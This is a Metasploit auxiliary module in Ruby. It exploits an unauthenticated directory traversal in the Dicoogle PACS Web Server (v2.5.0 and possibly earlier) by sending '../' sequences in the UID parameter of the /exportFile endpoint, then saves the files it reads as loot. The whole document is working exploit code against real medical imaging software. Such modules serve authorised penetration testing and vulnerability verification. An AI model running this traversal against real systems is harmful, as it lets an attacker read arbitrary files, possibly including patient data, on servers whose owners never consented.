## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModule < Msf::Auxiliary   include Msf::Auxiliary::Report   include Msf::Auxiliary::Scanner   include Msf::Exploit::Remote::HttpClient     def initialize(info = {})     super(update_info(info,       'Name'        => 'Dicoogle PACS Web Server Directory Traversal',       'Description' => %q{         This module exploits an unauthenticated directory traversal vulnerability         in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an         attacker to read arbitrary files with the web server privileges.         While the application is java based, the directory traversal was only         successful against Windows targets.       },       'References'  =>         [           ['EDB', '45007']         ],       'Author'      =>         [           'Carlos Avila', # Vulnerability discovery           'h00die' # Metasploit module         ],       'DisclosureDate' => 'Jul 11 2018',       'License'     => MSF_LICENSE    ))       register_options(       [         Opt::RPORT(8080),         OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),         OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 15 ])       ])     end    def run_host(ip)     filename = datastore['FILEPATH']     traversal = "../" * datastore['DEPTH'] << filename       res = send_request_cgi({       'method' => 'GET',       'uri'    => '/exportFile',       'vars_get' => {         'UID' => traversal       }     })       unless res && res.code == 200      print_error('Nothing was downloaded')       return    end      vprint_good("#{peer} - #{res.body}")     path = store_loot(       'dicoogle.traversal',       'text/plain',       ip,       res.body,       filename     )     print_good("File saved in: #{path}")   endend